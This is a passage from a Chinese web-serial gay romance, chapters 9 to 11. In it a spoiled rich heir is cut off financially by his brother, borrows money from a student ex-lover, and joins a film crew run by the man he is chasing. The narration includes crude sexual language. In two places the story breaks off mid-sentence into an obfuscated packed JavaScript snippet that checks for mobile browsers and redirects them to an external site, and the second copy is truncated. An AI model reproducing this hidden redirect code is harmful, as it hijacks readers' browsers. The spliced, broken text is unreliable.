她现在平等地憎恨每一个人。 尤其恨她的老板,和把老板最近心情搞得喜怒无常犹如大姨夫上身的何湛程。 “……无论怎么折腾,他大哥都没意见,你那边不用太客气。” 老板似乎给她解释了什么,但茉莉没听清楚,她只听到了最后一句。 然后保持一如既往的专业与冷静: “好的,戚总。” 9. 第9章 早上享受过戚大总裁的叫醒服务,何湛程很是高兴,但戚总的嗓门实在太大,吼得他脑袋瓜子嗡嗡的,好半天都没缓过劲来。 又是无所事事的一天。 何湛程一放下手机就立刻缩回被窝里睡回笼觉,他这几天困得要死,白天陪林翘楚东奔西走四处乱逛,晚上还要对着戚时的帅照打飞机,日出而作日入而息的,生活规律健康的不得了,猛一回头,连自己都要吓一跳。 意识涣散前夕还思量着,等过几天戚时消气了,他再找他大哥或者陈北劲把李铮鸣的手机号要到手,哄着戚时高兴了,和人约个饭打个台球高尔夫什么的。 他没忘记戚时是个做父亲的人,从女人手里抢老公、或者从男人手里抢女人,他何湛程眼睛都不会眨一下,但有孩子的么……他想,他只要亲一下就好了。 像戚时身材那么火辣的帅男人,如果不能让他何湛程亲一口尝尝咸淡,那人还有什么存在的意义? 正准备进入梦乡,门外响起一阵轻轻的敲门声。 “三少?打扰了,您在吗?” 是每天亲自推车来给他送酒送餐的大堂经理的声音。 何湛程蹙了下眉头:“怎么了?” “楼下来了位自称茉莉的女士,她说是您的客人,正在一楼用餐,还拿了瓶红酒,说记在您的账上,请问您是否认识这位女士?” “哦,她啊……”何湛程嘶了口气,使劲揉了揉胀痛的太阳穴,在床上翻了个身,继续闭着眼:“那你让她先吃着,东西随便拿,都算我的,我再眯会儿。” “呃……”门外经理迟迟犹豫着不走。 “又怎么了?”何湛程不耐烦了。 “那个,三少,真是不好意思,我们陈总只给您安排了截止到今日早六点的住宿时间,林小姐那边五点半已经退房了,您这边……你看是要续费吗?” “嗯?你说什么?” 何湛程满头问号,以为自己幻听。 他还是人生第一次有人催他酒店续费。 心烦意乱地掀被子下床,赤身裸|体站在窗帘紧闭的卧室里,手上扒拉开抽屉拿出两张卡,眼睛环视周围,寻找着什么东西。 昨夜**太快乐了,爽的不知道把内裤扔哪儿了,看了一圈没找着,随手捞了件真丝睡袍,一边系着腰带,满脸不耐地走出去给人开门。 宿醉的酒气扑面而来。 经理面带微笑,看着立在她面前的、这位白到发光的男睡美·巨人。 尽管每天都见面,她仍不适应他的身高。 准确点来说,不适应长得这么高,还这么漂亮的客人。 一栋楼,数不清的房间,数不清的客人,熙熙攘攘,任是身份多贵重,来往不过是芸芸众生,有些住在他们这儿的明星卸妆后,素颜状态下大部分也是黄皮肤、黑皮肤、乃至瘦脱相了的普通长相,不如眼前这位无论走在哪儿,都跟美得宛若明珠般的人物。 何湛程打了个哈欠,递给她卡,抱怨道:“我表哥怎么回事儿啊,要破产了吗,干嘛突然这么抠门。” “这个我们底下人就不清楚了。”经理笑着答。她随身带着POS机,接过卡刷了一下,没刷出钱,以为是机子问题,第二张卡刷了一下,仍然没刷出。 “好了么?”何湛程催道。 “这个……”经理讪笑。 当着他面,直接掏出传呼机叫人:“Landy,拿两个POS机上18楼来,我手上这个坏了,速度快点,不要让贵客等。” “算了,”何湛程一把从她手里夺过卡,不太高兴地斜眼瞥她,“就这么着吧,等她上来我都不困了,楼下不有人在等我么,我马上换个衣服,然后你叫人帮我把行李打包了送擎荣集团总部找戚老二,寄到付。” “好的,感谢您的体谅。”经理老油条了,识相地没戳破,接着委婉提示:“楼下那位茉莉女士拿的红酒……您看?” 何湛程朝天翻了个白眼,回屋拿来手机,冲人不客气道:“多少?” “不贵,就凭您是我们老板的贵客,我们怎么着也得给您打个折。”经理面带微笑,动作丝滑地冲人亮出收款码,口齿清晰:“打完八五折后共三百八十九元。” 何湛程冷哼一声,把微信里最后剩的三百九十六全给人扫过去了,然后压制着火气,转身进屋,后腿砰的一脚猛踹,把门摔关严实。 “何闽轩——!!!” 电话接通,男声一道平缓冷淡的“说”,何湛程火冒三丈忍无可忍,攥着手机冲人一通怒吼:“你敢给我把卡停了?!你他妈是不是有病!” 电话那头传来金属汤匙轻擦过瓷器的细微声,平缓,宁静,波澜不惊,显然对方早有预料。 男人轻笑一声,似是故意气他,慢悠悠地啜了口咖啡,接着发出一声满足的喟叹,不紧不慢道:“嗯,我跟银行打过招呼了,你被限制消费了。” “何闽轩!!”整个人瞬间就暴躁起来,何湛程气得发疯,烦躁得头发都要炸起来,恨不得把手机摔烂。 那天回酒店从一堆提示信息里看到几条来自银行的提醒,他没点进去就全删了,还以为何闽轩给他打钱了,没想到这这货居然敢搞他?! “老大,你行,你给我等着!” 何湛程怒气冲冲地绕过床头,一把暴力掀开行李箱,扒出条内裤穿上,赤脚踩在地毯,踩得噔噔响,又去衣帽间找衣服。 肩膀夹着手机,一边飞快地弯腰套裤子,一边咒骂:“等我今天晚上回去,你看我不把你办公室给砸了,再把你养的那个小情人都给操了!你他妈算老几,还敢管上我了,你以为你能治得了我?我告诉你,从今往后,我他妈什么都不干,我就全天24小时专门给你戴绿帽子!” “畜生。”男人语调森冷,细听,阴沉嗓音里透出一晃而过的恨意。 他情绪很快平静下来,发出一声蔑然的、瞧不上的“呵”,那愤怒随即消泯。 接着是惯常居高临下的傲慢: “你这条疯狗,欠管教不是一天两天了,我没把你送精神病院挨电击就不错了,这次是爸亲口发话,连妈也同意了,你没发现她这两天都没再联系你么?” “少说这些有的没的!”何湛程冷笑一声,把手机扔旁边沙发,举着俩胳膊埋头套毛衣:“陈北劲是跟你一伙儿的吧!大清早就派人来赶人,你当我愿意待这破地方?你最好找你那几个老同学多给你拨点武装特警保护你,不然等我回了沪上,你小子死定了!” “不多呆几天么?” 电话那头,手指有节律地来回敲打着桌面,像在弹奏悠扬的曲调,手指轻轻一握,就能稳操全局。 男人语调漫不经心:“昨晚上戚老二还和我打电话聊过你,他还挺喜欢你的。” “……当面一套背后一套的,怪不得是避孕套流失产物,谁能阴险得过你啊……”骂骂咧咧的声音一顿,高领口的黑毛线衣里钻出一颗鸡窝头来,何湛程愣了下,下一秒,火箭似的,蹭地一下扑到沙发前,不敢置信地蹲下问手机:“你说什么?” “我说,”男人笑得异常温柔,“昨晚我和戚时通过电话,他跟我夸你懂事,长得也可爱,说你尽管有时候会胡闹,终归不过是小孩心性,他生气归生气,肯定会好好照顾你的。” 何湛程嘴角一下子就咧到了后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409018|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 耳根:“真的吗?他真这么说?” 男人语气笃定:“你可以打电话问他。” “那、那他还说什么了?”何湛程心情雀跃起来:“他还有没有其他夸我的?你一字不差的都说给我听。” “凭什么?”男人逗狗似的:“你不是还要回来宰了我么?” “……”何湛程无语又扫兴,“你怎么这么小心眼啊?我说你两句你还当真了?我宰了你,爸不得宰了我?你快点的,赶紧给我把卡解冻,我就老老实实继续待在这边了!” “解冻?”男人不太赞同道:“你随便一张卡比人家一年辛辛苦苦上班赚得还多,风雨不经吃喝不愁的,家里就差没把你放国家博物馆里供着了,他还怎么‘照顾’你?” “好像……有点儿道理。” 何湛程挠挠下巴,思量着自己居然没想到这一层。 装乖算什么,戚时那种火山大直男都亲口承认了,人家不喜欢太矫情的,所以为了让人多在他身上操点心,他要穷就得真穷。 不是有那种傻白甜无脑偶像剧么? 落魄豪门少爷在低谷期展现出的贫穷无知的人格魅力成功折服霸总那种的。 他何湛程现在就是啊! 何湛程突然就亢奋起来,抄手往后捋了两把头发,小跑去全身镜前打量自己。 嗯…… 一张清纯如初恋男友般的脸,高束领口黑色紧身的小山羊绒毛衣,薄薄的胸肌,衬得宽肩窄腰,随便拿的一条复古烟灰牛仔裤,撑得臀翘腿长。 双手一插兜,左右来回打量,模特架子似的。 啊,这与生俱来的贵气,满眼的机灵精怪……怎么才能显得智障一点儿? 他轻轻皱了下眉,略作思考,然后歪了歪头,冲着镜子翻白眼吐舌头,像哈巴狗那样,夹子嗓子汪汪叫了两声。 “哈!”他一秒破功。 “傻死了哈哈哈哈哈……”他被自己逗乐了,指着镜子里的人仰头笑得不行,“谁家霸道总裁会喜欢上这种装疯卖傻的傻逼啊!” 电话那头:“……” 就这么听他发了半天神经,最后无奈叫人:“何湛程。” 何湛程回头眨眼:“嗯?” 电话:“你在那边好好玩儿。” 何湛程挑眉:“当然。” 电话那头满意了,传来舒展的笑:“那,再见。” 他大哥那个死装阴险男从没这么跟他柔声说过话。 何湛程鸡皮疙瘩乍起一身,疑惑着试探回一句:“拜拜?” 电话挂断。 电话拨通。 一道礼貌的女声传来:“轩哥。” 金色的汤匙搅动两下瓷杯里黑浓的苦咖啡,办公桌前,男人心情舒畅地扭过头,望一眼窗外令人赏心悦目的摩天大楼:“何湛程那小子我已经警告过他了,放心吧,有我在,他不会惹祸的。” 林翘楚松一口气,笑道:“我还在想,湛程这么信任我,我偷偷找你告状是不是不太好,但……唉,他实在太能惹事了,天不怕地不怕的,我又不想姑姑担心,湛程一听他妈念叨他,肯定更闹腾了……轩哥你平时也忙吧,昨晚上这么冒昧地打扰你,我心里还有点紧张呢。” 男人安抚:“没事,多亏了你,这些都是我这个做大哥的应该做的。” 林翘楚:“行,有你在我就放心了,那我这边就先把他给拉黑了,这小子最近太放肆了,我也该给他点教训了。” 哐当! 一颗奶白晶莹的方糖,骤然掉落进黑咖啡的杯底,溅出几滴散着苦味的浓液。 男人顺手扯纸巾擦手,微笑:“好。” 10. 第10章 何湛程才刚穿戴好,大堂经理催命似的,领着一帮清洁团队和快递员,再次敲响他的房门。 何湛程整个早上满脑子都是“他跟我夸你懂事”、“夸你可爱”这些话,一边回忆着戚时和他在一起时的音容笑貌,趁机又给人拨通了电话。 电话自然是拉黑的、打不通的,他不着急,也不生气,对付戚时这种口是心非的帅男人,他有的是力气和手段。 心情仍愉悦得不行。 别说酒店撵他走了,现在,就是谁突然来泼他一盆冷水,他都能就着凉气儿笑出声来。 大堂经理找他确认收件人是不是戚时,何湛程应了声是,环顾四周,忍不住抬手挠两下后脑勺,总觉得自己好像忘了点儿什么东西,但又死活想不起来。 他在这套房子里没什么贵重物品,何老大给他打包的行李,他大部分没来得及拆,随时能送走,衣服鞋手表项链饰品这些也都是身外之物,他不是很放在心上,但鉴于他暂时没钱,临下楼时就顺手拎了个行李箱,自己装了几件换洗衣服和笔记本,又挑了条沉香手串戴腕上。 这手串不是他所有物中最贵的,却是他佩戴最久的。 一条沉香手串,108颗野生奇楠深色珠子,南红与镶金和田玉作配珠,是他出生时查出来有先天性心脏病,哭都没哭两声,就浑身被插满输液管送进了NICU,他妈急得要发疯,天天守在走廊骂庸医居然没在她产检的时候查出来,他老爸头发白了一堆,哐哐往医院砸钱,又怕他气虚命短运气不好,亲自跑去西藏找到一位早相熟识的得道高僧求来这个护身符。 这是高僧祖师传下来的佛门宝物,既护身又护心,他老爸认识的这个高僧当年正好108岁,所以坚信只要拿到这串沉香给他戴,他也能活到108岁。 高僧超凡脱俗,境界已达忘我,说他老爸既然不远千里来求,那就说明他与这个三儿子有缘,表示愿意舍掉身外之物,只求为新生儿增添几分福气。 但不知是机关玄妙,还是那老头儿真的到日子了,赠出这串沉香后第二个月,高僧就圆寂了。他老爸封建迷信,对这件事始终心怀愧疚,专门为这佛门老友修了座寺庙,年年夏天带着他去雪山脚下上香还愿。 后来,大概是他爸的钞能力发挥作用了,他的先天性心脏病居然自愈了,他老爸一意孤行,非说是高僧灵验,直接把人的牌位给请进了家里来了,一连数年,香火供奉不绝。 何湛程七岁那年,懵懵懂懂,有天路过那牌位,问了句家里为什么要摆这么晦气的东西,他爸直接冲过来,扬手就给了他一个清脆响亮的巴掌,让他赶紧冲着那牌位磕三个头求师父原谅,把他吓得连续做了半个月噩梦,甚至还梦到了那个未曾谋面的高僧。 高僧长得跟如来佛似的,巍峨的金身盘踞在那座雪山脚下的寺庙高堂上,笑得一脸慈祥和蔼。 他嗓音洪亮如钟,似天外来音: “你——就是我拿命换来的那个臭小子?” 他两手叉腰,毫不客气地打量着对方:“你就是我老爸每年捐五百万供香火的那个臭老头儿?” 高僧呵斥:“逆徒!” 他挑眉,哼一声:“不要脸!谁是你徒弟?!” 高僧冷哼:“当初你爸提重金礼聘,又许下好些造福社会的诺言,求我收你作徒弟,你年年去寺里磕头都叫我师父,怎么这会儿又不叫了?” 他不屑地嗤一声:“那是我爸在旁边逼着我叫,现在是在我的梦里,我的梦里我做主!我干嘛还要听他的?!” 高僧:“哦,看来你不仅是我的逆徒,你还是你爸的逆子啊!” 他趾高气扬:“逆子咋啦,我又不是给你当儿子,你管得着么?” 高僧笑了:“你啊你,你真是身在福中不知福,你不知道,这世上有些孩子连父母都没有,你不懂珍惜就罢了,还长成这么一副讨人嫌的性子,唉,这让为师突然很想带你一起走啊……” 他:“……” 高僧:“要一起走吗?” 他:“……” 梦魇到深处,整个身体都在下坠,脑袋也沉沉的,他被一种无形的力量扼住了咽喉,窒息到说不出话,一个月内数次惊醒,又数次面临这个问题,后来实在怕得要死,就把这事儿跟他爸妈说了。 他妈本来想找个和他年岁相当的小孩当他的替身去寺庙修行,他爸不允许,说那都是假的,派人请了高僧指点迷津,按照专业人士的指点,给他剃了头,送他去庙里吃斋念经了小半年,这才化解了噩梦。 毕竟是做过小和尚的人,他后来就不得不对着那个牌位心存敬畏了。 但心里仍是半信半疑,他问他爸:“为什么得道高僧说话也像个地痞流氓?” 他爸解释道:“人家高僧那是成佛了,能化相,说白了就是,见人说人话,见鬼说鬼话,不然你八九岁的小孩儿能听得懂?” 他好奇:“那他为什么见了我说疯话呀?” 他爸戴上老花镜,“扑”地一声,双手撑开报纸,一边读报一边敷衍道:“那说明你是个小疯子呗。” 八岁的何湛程咯咯笑起来,从此也觉得自己是个小疯子。 总之,这串珠子是无价之宝。 身为当事人,受他爸影响,何湛程多少也有点迷信,所以他在外面鬼混玩乐的时候绝不会戴,怕给珠子染了脏气,只有偶尔运气不好的时候—— 比如前阵子他和他二哥都惹了祸,闹得整个何家都鸡犬不宁,他也郁闷,出门溜达前觉得心里不舒服,顺手就拿上了这珠子,那天老大要开车当街给他撞死,然后简直就像演电视一样,许若林及时出现,他幸运地免于一祸。 另外就是—— 何湛程扶着行李箱站在电梯里,抬手看一眼松松垮垮绕他手腕五圈的沉香手串,嘴角微微漾起。 戚时戴手表,他戴珠子,莫名还…… 还挺般配的。 电梯门开,何湛程推着箱子下到一楼,有几个认识他的工作人员冲他点头问好,他一一笑脸应着,腿下迈着大步没停,视线环绕一圈,然后目标明确地朝就餐区的某个位置走去。 说实在的,戚老二的品味简直是太好猜了: 黑长直,个子高,偏御姐长相,清冷淑女范儿,即便穿着休闲装,仍遮掩不了曲线傲人的身材,审美单一到令何湛程为他感到痛心。 “Hi!”间隔人近半米,何湛程打了个响指,冲人甜甜地喊了声“姐姐好”。 茉莉刚吃饱喝足,正靠在位子上揉肚子,闻声扭头,眼前就站了个打扮时尚潮流的高大男孩儿。 “我滴个乖乖……”她惊叹出声。 这就是那个惹毛她老板好几次的刺儿头? 真人居然长这么白?这么帅? “姐姐?”一张笑眯眯的漂亮脸蛋凑近,连毛孔都散发出淡淡香味:“是茉莉姐姐吧,我直接找的整个大堂里最漂亮的女生,应该没认错人吧?” “啊,”茉莉连忙扯纸巾擦擦嘴,起身让位,询问道:“你是……何三小少爷?” “嗯,是我,姐姐你吃饱了吗?”何湛程余光扫了眼她的餐桌,笑道:“要不再坐会儿吧,我不急。” 瞧瞧,瞧瞧,这桌子上整得一片狼藉,最远处堆着那天他和戚时陈北劲聚会那家饭店的礼品套盒,近处摆着鲜切水果,每样都被尝过几口的葱油拌面、素蟹粉、响油鳝丝、三鲜馄饨、清炒虾仁、酱鸭、糖醋小排、腌笃鲜……最后没端出来的两道精致甜点,大概率是他和林翘楚那天每人吃了两小碗的杏仁雪梨奶冻和蜜梨菊花圆子,以及,餐盘旁摆着用过的高脚杯和半瓶红酒。 还挺会享受。 何湛程轻啧一声。 如果他没猜错的话,这餐应该是给他拿的吧? 真是的,早知道就不搞假号码那一出了,惹戚老二生气了不说,还平白糟蹋了对方的好意,真是失策。 “不用了,”茉莉看了眼时间,一把接过他行李箱,走在前面带路,嘱咐道:“我们现在走的话,下午两点左右就能到剧组,这次是古装剧,趁着当下天气还凉快,导演和制片安排的先在风景区拍,等过完五一再回影视基地拍,所以你接下来要在山上待差不多两个月。” “听起来挺有意思的,”何湛程问,“是露营搭帐篷的那种吗?” “搭帐篷应该不会,晚上山上太冷了,我帮你定的是山下的酒店,但是这次我们预算有限,我只能给你定到快捷酒店的单床房,你可以先住一段时间看看,能适应就辛苦点儿,要是忍不住了就给我打电话,我随时开车过来送你回家。” “什么?”何湛程脚步一顿,皱眉问:“你们戚总说的?我要是待不惯就送我回去?” 这算什么,说好的待客之道呢?他行李马上就要送到擎荣集团那边了,难不成住不惯剧组,他们就要把他撵回去么? 茉莉回头看他,笑道:“不是戚总说的,但流程上,现在默认就是这样的。” “流程上?”何湛程不太高兴了,俯下身瞅她,蹙眉一字一句地问:“流程上,你们戚总让你吃给我带的礼品了?流程上,你现在跑外勤当我司机还能喝酒么?流程上,按照戚老二那暴脾气,他该是让你把东西扔垃圾桶或者喂狗吧?但是这几个流程,姐姐你是怎么操作的呢?” 茉莉:“……” 好家伙,老板不是说他是个小傻子吗?怎么这小子这么聪明? 何湛程唇角一勾,弯下腰凑近她,看起来像是虚抱住她,很亲密的动作,但并没触碰到她分毫。 左手接过自己的行李箱,右手从她手里接过车钥匙,然后错开身子,悠闲散漫地上下抛着钥匙,头也不回地走在前面: “走吧姐姐,我现在不太信任你了,所以接下来你发我地址,我来开车。” 茉莉默声跟在何湛程身后,眼风上下瞄着对方高大修长的背影,心头莫名涌上一种她往后日子都将不得安宁的预感。 仍是那辆黑色炫酷的野马。 “砰”地一声,俩人坐上驾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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正脸,他看谁都是一脸温柔无害,不时冲你笑一下,迷惑性的笑容让你分不清他究竟是在装客套还是真礼貌;而侧脸,因为没有表达情绪的对象,他面无表情,一张脸尽显漠然疏离。 “姐姐,”那张面无表情的脸重新动了起来,扭过头冲她笑,“我突然想起个事,可以问你吗?” “你先问,”茉莉也笑,不太自在地从收纳箱里拿出瓶水喝着,说,“但是别叫我姐姐了,我今年才26,你总这样叫会显得我很老。” “哦,”何湛程笑,“我以为你刚二十出头,这么叫会显得咱们亲近些。” 再一次在心里感叹这小少爷真乖啊,茉莉笑容和蔼:“直接叫我茉莉吧。” “好。” “哦对了,你刚才想问什么?” “我想问,你们戚总他家孩子今年上几年级啊?” “噗——!!”茉莉一口水喷出来。 何湛程:“……” 伸手连续扯了四五张纸巾递给她。 “谢谢。”茉莉接过纸巾,匆匆擦嘴,然后飞快地掏出手机,准备看看哪家找死的媒体又在造谣生事了。 何湛程觉得茉莉这反应很有意思,扬了扬眉,进一步试探:“不好意思,是我太唐突了么?但这是二哥亲口跟我说的。” 茉莉懵逼了,扭头看他:“啊?” 她老板这两年的烂桃花都是她负责处理的,主打一个人走账清,两不相欠,而且老板向来在私生活上谨慎有加,人又极端挑剔,只有两三个常交往的,虽说日子一长难免会增添几分情谊,但他什么时候有个孩子了? 她都不知道的事,老板讲给何湛程听? 这算什么? 男人之间的专属小秘密? 正疑惑着,旁边何湛程恰到好处地提醒:“就是那个叫果果的……” “哦——” 虚惊一场,茉莉整个人都松弛下来,抬手擦掉额头上的虚汗。 “那是我们老板养的狗,一条阿拉斯加幼犬,大名叫果汁儿,小名叫果果。”她笑着解释:“说来也是缘分,这条狗应该是被主人弃养了,年初那阵子经常在我们公司附近的路段徘徊,因为我们董事长对狗毛猫毛这些过敏,我们老板就不方便带它回家养着,不过么……” 她轻叹一声,感慨起来:“我们老板见过它一次后,就总是惦记着它,上班闲着没事儿就下楼买东西喂它,那狗也每天过来找他,所以很快,我们老板就决定养它了,还怕它独自在家里待着寂寞,找了家犬舍送它去上学交朋友。” “哦——” 何湛程笑起来,原来如此。 原!来!如!此!啊! “怎么办,”长指敲打着方向盘,何湛程望了眼窗外,低声笑,“我真是越来越喜欢他了。” “什么?”茉莉没听清。 “没什么,”何湛程活泼起来,“天气真好啊,是吧?” “呃呃,是挺好的。”茉莉不明就里。 虽然不明白小少爷为什么突然笑得这么灿烂,但她希望待会到剧组了,他还能笑得出来。 11. 第11章 一说风景区附近酒店,按照正常脑回路想,但凡跟景区沾边儿,就算不是桃花烂漫的木屋客栈,好歹也得是朴素整洁的小院民宿,何湛程怎么说也是清修过的人,适应环境能力强,哪怕住宿条件再差,只要干净,他都无所谓,可抵达目的地后,他发现自己还是低估了戚老二讨厌他的程度。 是坐落在商业街繁华路段的、中途分支一条人迹罕至破砖头小路尽头处的、一个逼仄隐秘的、门口前堆着臭烘烘垃圾盘旋着几只苍蝇的、濒临倒闭的小旅馆—— 帝国酒店。 何湛程纳闷这么个巴掌大的破地方,服务生都看不见一个,撑死提供不到十个房间,怎么好意思叫“帝国”的? 掉绿漆的生锈招牌,阴湿味儿浓重的深绿色走廊,一边听着录音机里的黄梅戏、一边戴着老花镜还举着放大镜在晨光本子上找订单记录的老板,院子里凹凸不平的砖地,晾衣绳上飘着的泛黄的白色床单,厕所角落旁轰隆隆作响的破旧洗衣机,拴在枣树下不停喷粪球的山羊,还有关在笼子里打架扑腾的七八只鸡…… 何湛程转身掏手机就给他表姐打电话要钱。 这破地方他受不了一点,他要住五星酒店。 很意外,没打通,何湛程稍作思考,就知道这次表姐是真生气把他拉黑了。 没关系,他想,接着又打给了他爸、他妈、他二哥、表哥、还有几个平时家族里和他玩得好的堂弟,无一例外都是拒接。 “呵呵……”他狞笑出声,“都商量好了整我呢是吧……” 忍着怒气,使劲儿扒拉了两遍微信和电话,试图找几个曾经和他有过露水情缘的列表支援他点儿,但上次稍微有点钱的都给他删光了,现在可靠的就剩一个许若林,许若林还他妈的还是个穷学生! 好在他何湛程一向没有道德压力。 他才不要住这个像精神病院一样的鬼地方,他要住好的!好的!!他待在这种阴森森的怪地方,身上是要长疹子的!! 几乎没有犹豫,何湛程给对方打了电话。 只片刻,许若林激动的声音传来:“程哥,你终于肯联系我了!对不起,我接得有点慢,刚才在上课,一接到你电话我就立刻跑出来了!哥,我好想你,我好想你啊!你都不知道刚才那一瞬间我有多开心!” 何湛程耐心听着对方滔滔不绝地诉说着爱意,中途又回头瞥一眼身后冲他撅着屁股拉屎的山羊,深吸一口气,强行按捺下险些反悔的良心。 等人终于说完,他清咳一声:“那个,你这月还有钱吗,我家里人把我卡停了,我现在一个人在外面没地方住。” “有的,有的,”许若林连忙道,“我兼职有攒的钱,实在不够还可以找同学借,你住几天啊?要不你现在回来吧,我给你买机票,再给你打点路费,等你到了我打车去接——” “我在这边还有事没办完,暂时还不想回去。”何湛程打断,然后低着头,脚下来回踢着小石子,斟酌道:“我就住一周,你给我打两千就够了。” “哥,我给你打三千吧。” 电话里说着,随即微信转账三千五过来。 “你花钱大手大脚惯了,我怕你一时适应不了,这几天你先委屈点儿,省着点儿花,你家里人那边,我不好插嘴,但我知道你比我机灵得多,不管什么事,你肯定都会处理好的。” 何湛程沉默。 所以他当初为什么要逗人家撕掉那张两千万的支票? 该死的!他何湛程打出生到现在,潇洒了二十年,到头来居然花一个穷学生的钱,现在、现在搞得他说话都不硬气了! 但—— 一周的话,戚老二总该消气了吧? 不管怎么说,何湛程想着,他先把流程走完,多少吃点苦头意思一下,等把戚老二哄好了,他再联系茉莉来接他去戚老二那边去住,然后让老大再给许若林开张两千万的支票。 不,三千万! 再送他辆奔驰当代步车。 何湛程心安理得地收下转账,一溜烟飘到茉莉身边,告诉她,他要去商业街主街那边住五星。 茉莉看起来也像是松一口气,立刻点头同意:“你自己掏钱的话,我这边都没意见。” 于是俩人快快乐乐地去主街区那边找五星酒店。 何湛程不知道茉莉本来打算自掏腰包替他选个好酒店,但最后斟酌再三,还是租的这家破院子。 她是擎荣的人,戚时才是她的老板,何湛程她固然得罪不起,但他们大人物斗法也轮不到她这种小角色干涉,所以现在,她该办的都办了,何湛程自带钞能力,他们两相无事才是最好的。 何湛程选了家赠免费早餐且楼顶有室内泳池的酒店,他在吃上没那么多讲究,一天一顿饿不死就行,但早上起床第一件事就是去游泳,每天至少两千米,这是从小养成的锻炼身体的习惯,晚上睡前必做的一件事就是喝酒,温和不刺激的红酒,医生不允许他喝太烈的酒。 所以他付了一周的房费,又拿了六瓶酒。 好在当下景区不算旺季,周付和月付还有折扣,即便如此,这刚到他手里不到十分钟的三千五,一秒没,一分也不剩。 安顿好行李,茉莉带何湛程去见导演和制片人,何湛程临出发前,突然想起林翘楚给过他五百块现金,于是又坐电梯去楼上翻腾出那件大衣,将五百块全揣在裤兜里,然后拽着茉莉去酒店旁边的一家精品店,说要先买点京城特产小礼物。 “给谁买?”二人流连在琳琅满目的商品前,茉莉打趣道:“女朋友?” “救命恩人。”何湛程笑,认真挑了个六十八块的、枫叶形状的金色书签,和一个一百九十六块三的、表皮镂刻着层叠山峦的景区纪念本。 茉莉也买了几件纪念品,二人结账时,她注意到他拿的是现金,很快就意识到什么,便主动道:“我替你付吧,这不算公事,就当是朋友之间——” 何湛程摇摇头:“难得送他点儿真心实意的东西,我下次再这么有良心,可不知道是什么时候了。” 茉莉“嗐”一声,笑道:“哪有人这么说自己的。” 何湛程耸耸肩:“真的,我生来就没心肝。” 茉莉只当他是被娇惯坏了,偶尔犯点矫情病,也就没再坚持,等买完东西,何湛程在门口把本子和书签给她,又给她发了许若林大学的地址,让她回去后帮他寄过去。 “没问题!”茉莉一口应下,接过袋子放她车里,思量着这算公事还是私事。 她回去要不要先给老板看过再寄? 可老板看何湛程给朋友寄的礼物干嘛? 但不给人看的话,她作为戚时的秘书却总帮何湛程跑腿,老板肯定会不爽吧? 话说,老板到底为什么讨厌何湛程,她觉得小少爷挺可爱的啊…… 唉,烦死了!老板一碰上何三少就变得那么事儿,不给他看了! 最终碰面是在景区的一个湖边亭子里。 茉莉跟何湛程说,剧组今天上午刚办完开机宴,现在主要的头儿都聚在一处,她领他和导演制片人打过招呼就要走了,他接下来的具体工作安排,要看组里怎么给他分配了。 整个剧,制作方是戚时,投资方是陈北劲,所以九成员工是擎荣影视这边的,陈北劲占股比例最大,管的事儿最少,所以何湛程来这儿,本质上就是进了戚时的窝。 何湛程走进窝里,不,走进亭子里,里面正凑一起吞云吐雾指点江山的、清一色鸭舌帽防风衣牛仔裤的中年男人过来打招呼。 “哟,这就是湛程吧!”最前面的瘦老头走过来拍了拍他肩膀,笑起来满脸皱纹,声音洪亮:“一晃这么多年,你个小猴子都这么大了!你父亲最近身体还好吗?我是咱们这部剧的总导演刘祥,和你父亲是老相识了,咱们一家人,甭客气,你以后叫我刘叔就行了。” 何湛程对人鞠了半躬:“刘叔。” “看看,老刘这臭不要脸的又跟人套上近乎了!”另一人稍微年轻些,伸手过来揉了两把他头发,笑道:“何三小少爷,对吧?我没见过你父亲,但我认识你大哥,我是这部剧的执行导演王志刚,按辈分来说,你还得管我叫声大爷呢哈哈哈哈哈!” 何湛程:“……大爷。” 茉莉挨个为他介绍后面的几个人: “三少,这是总制片冯家乐老师。” 何湛程颔首:“冯叔叔。” 对方冲他点了下头。 “这是监制赵默老师。” 何湛程冲人点头:“赵叔叔。” 对方笑了下:“嗯。” “这是美术指导张生老师……” “张叔叔……” “嗯。” “这是……” …… …… 一个接着一个的老烟枪,面容慈祥,喷着浓烈的口气,看小鸡崽子似的打量他。 不同于他大哥那些西装革履的职场派精英,这些老艺术工作者们的面容并不凌厉,虽说年龄和资历摆在那,说话拿腔拿调在所难免,但接触一圈下来就会发现,这些人本身就是沧海桑田,举手抬足都自带一种包纳万物的气场。 何湛程在他们面前像个初来乍到的小学生,全程只能礼貌立正点头问好。 并屏住呼吸,不想多说一句话。 他感觉自己再不戴防毒面具就要呼吸道感染了。 聊没两句,何湛程肚子就不争气地响了,一帮叔叔大爷们大手一挥,让茉莉带他先回去随便吃点儿垫垫肚子,说晚上领着他去和主演们吃饭。 何湛程兴致上来,刚想问主演们都住哪儿,茉莉就先一步凑过去,背着他跟那群人说悄悄话。 很快,一帮子叔叔大爷默不作声地低头抽烟,还不时扭头瞅他一眼。 何湛程:“……” 突然就觉得这个让戚时一手遮天的地方真没意思! 不过经过众人商议,导演还是觉得让主演们都凑一起吃顿饭最好,说是让大家互相认识一下,尤其要隆重介绍何三少,省得有不懂事的演员得罪他。 说白了,导演就是把全组里最漂亮的男男女女都聚在一起,介绍他!然后号召大家一起避雷他! 何湛程强笑着没吭声。 他感觉自己受到了极大的侮辱。 等到晚上,一帮子人在包厢里吃饭,何湛程懒洋洋靠在椅子上喝酒,眼风一一扫过主演们的脸,他就更感觉自己被侮辱了。 男一男二,挺面熟的,大荧幕常见二三线演员,据说参演这部大制作是为了爆红升咖,算是演技派,很得导演青睐,底子也不错,能看出来经常健身,但想必最近为了快速瘦身经常挨饿,脸皮有点松弛,法令纹垂得也深,一看就肾虚,不是他的菜。 